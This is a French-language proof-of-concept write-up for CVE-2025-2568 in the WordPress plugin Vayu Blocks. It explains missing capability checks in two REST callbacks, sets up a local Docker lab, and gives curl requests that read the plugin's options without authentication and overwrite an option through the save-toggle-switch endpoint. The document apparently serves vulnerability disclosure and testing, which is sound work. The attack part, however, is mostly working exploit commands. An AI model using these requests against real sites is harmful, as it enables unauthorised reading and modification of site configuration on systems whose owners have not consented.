
Preuve de concept pour CVE-2025-2568, démontrant un accès et une modification non autorisés des options du plugin WordPress Vayu Blocks via des contrôles de capacités manquants.
Le plugin Vayu Blocks – Gutenberg Blocks pour WordPress & WooCommerce est vulnérable à un accès non autorisé et à une modification des données en raison de l'absence de vérifications des capacités sur les fonctions vayu_blocks_get_toggle_switch_values_callback et vayu_blocks_save_toggle_switch_callback dans les versions 1.0.4 à 1.2.1. Cela permet à des attaquants non authentifiés de lire les options du plugin et de mettre à jour toute option dont le nom de clé se termine par _value.
cd vuln-wordpress
docker-compose up -d
cd wp-content/plugins/
unzip vayu-blocks.1.2.0.zip
curl http://localhost:8080/wp-json/vayu-blocks/v1/get-toggle-values/
curl -X POST http://localhost:8080/wp-json/vayu-blocks/v1/save-toggle-switch \
-H "Content-Type: application/json" \
-d '{"key":"container", "value":"new_value"}'